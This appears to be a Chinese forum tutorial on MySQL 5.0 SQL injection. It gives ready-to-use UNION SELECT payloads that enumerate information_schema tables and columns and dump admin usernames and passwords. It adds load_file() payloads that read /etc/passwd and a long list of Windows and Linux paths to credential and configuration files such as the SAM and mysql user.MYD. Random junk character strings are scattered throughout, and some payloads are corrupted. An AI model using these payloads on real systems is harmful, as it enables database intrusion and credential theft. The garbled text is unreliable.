mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
5 W& {! t/ @, V


Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
" R1 }& C, ~3 n/ M# e( U中记录了Mysql中所有
0 c. j" e. `1 d  z# P' z存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
2 I( p, i- o5 o$ \, i- L" N明。
& m' U3 H; O0 d' C5 j) Y' [1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
! F1 H7 \( L, T2 f0 R2 P|—字段：SCHEMA_NAME ->数据库名称
9 M/ J" t' e# S9 `
|TABLES ->存储表名
* M% e3 f5 N0 e/ t4 o|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
' |, x6 y& e1 \5 |7 G$ m% E1 `* o
|COLUMNS ->存储的字段名表
7 e/ n2 ~5 t' ?. t8 o( B3 e|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
1 O. z; U3 L( u
) E  S8 B% h1 }  Y|—字段：COLUMN_NAME ->该字段的名称
" U" ]( A1 {0 q6 U+ }# f. E2 Q0 m7 |- e' ^
#########################################################################
* W$ M6 B8 Z6 q# ]/ o5 z. W##

, P" S( J. @6 e# v0×001 获取系统信息:
7 R7 b. {1 U2 M; m8 g( g
union select 1,2,3,4,5,concat
5 W2 ~0 f* {$ Z8 l* r* W# F0 |+ r+ e(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
0 P6 F4 t' `# Y6 I* W5 X0 Y; A) G(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

0 R6 W' k' ?: v2 ~6 `1 \) p/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
/ R% F* K6 B2 L* \! }( g5 T, V3 `database() 当前数据库名称
3 F8 U; r) F$ D, ~5 t) n0x3c62723e 换行HEX值
9 k0 R. }5 n+ T4 d  Z4 A
& @  B1 U3 l( g5 `3 {2 i*/

######################################################################
4 |3 @, }; M9 V$ O
0×002 获取表名
# k+ r. z6 V+ L2 C$ O: a+ N. e
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
8 d' d7 |6 R; b$ l/ x0 U. D- pinformation_schema.tables where table_schema=0x67617264656e /*
, P* m  n, I  }8 C  G
# u$ b- Y! p) D( G/*
: [: O8 {0 E1 K  i* E" O
0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
: t* x: B6 a  W) s% e6 k, B2 J- K
% i$ z/ p" \" @% S% Q8 P) E*/
# y2 a6 U# V! q+ M' B' e
######################################################################

$ K( F1 d& ]! C1 h6 T+ Z0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
2 C( P6 r6 K3 @" X2 ]5 _information_schema.columns where table_name=0x61646d696e and

/ Z4 X" o5 H4 ]1 N2 `
table_schema=0x67617264656e limit 1 /*
6 l3 K6 `1 z6 I6 r# w* t5 I
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
: T; r6 f! x* ~+ i' {/ I3 D" f
; P6 X) B3 D( m8 C0x61646d696e ->选择一个表
. ~3 t1 n0 s* n- n2 u, K. u
6 L  G, M8 D- f0x67617264656e ->数据库名
2 T: y8 v+ }) t/ f3 d, I. n4 ~* `
6 t) u" _6 w3 g*/
3 J: i' B6 S$ I
+ \, d: E/ V/ B* M+ t/ f* L#####################################################################

0×004 获取数据
3 Y- P. K9 v9 L: _- v
4 t' c) L4 u  f* nunion select 1,2,3
& W. A3 o9 s* p- c, U2 W: T,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

  G3 Q0 G( q7 ~% }union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

! D8 a# p# B2 O3 f1 v  D/*
  o: R7 ]. l# S. L* Y5 e) Z/ l1 M
3 \. b1 R: @9 G2 L- @- \& V4 ]) Y0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
5 G6 S4 s9 o4 n  C6 w0 z& S! a2 @
2 s( i8 b3 r1 J, s*/

1 G4 l/ o0 x& x* D7 `: q" a



0 p) i2 d2 i- Q5 |7 }顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
3 X! H8 J6 a8 |% H9 u
1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
% g, q% M  E2 C7 z4:session_user()连接数据库的用户名
( ~5 |; b. @9 ~& `& [9 k5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
* Y) \% t& \" ?! U/ K$ t8@datadir     读取数据库路径
" @5 z& d% I9 ?  s. b: j" ~9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
. z6 F; }% k8 QWINDOWS下:
( U1 m! Y0 F/ d3 {* Jc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
% x  ^+ z6 l, _c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
8 U. I' ]6 N' l, p$ b# h2 Nc:/winnt/php.ini
$ ^7 O+ L4 H3 h& `, H1 ^1 K* y5 Pc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
+ Q  I2 |( X  k$ Q; \, c4 X* oc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
6 {3 @8 E1 V$ o: }. ic:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
/ R) K& q1 H  G2 e6 _0 Z, z//存储了pcAnywhere的登陆密码
4 T3 e, }3 i& b: hc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
$ X/ q5 z% w1 p& lc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

, @2 ~# n. r& C, F! p. _( s# ^3 b. a
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

/ ]9 T: L+ \5 b, }8 R4 KLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
1 N3 Y3 T4 @7 u" s/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
) [/ Q; z$ v$ J& E) J/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
" X1 s9 y9 G* i& O/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
+ K# ^! z! W; }' m" k7 P/etc/redhat-release //系统版本
( j; K4 n3 X8 p) _4 ?2 J) y# H; [: V/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
( L) j1 |* G  @  g* V3 D: \/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4 ]( x) B4 W! q# G/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
; F5 J& F( t5 c/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
1 i2 M# n" N1 F; L. v$ ?* K/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
, g) E- q- U5 \+ `. Z: P6 N1 N  a3 Q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
) R" ~0 ]: i& G0 n5 r/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. o% C4 E3 c1 R5 B9 E2 k% Y! W/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
, C8 o7 K* M0 t: Nreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
1 |% n( x% ?# o: D. ]上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

8 ^7 J4 V# d, }. @( ]$ {7 |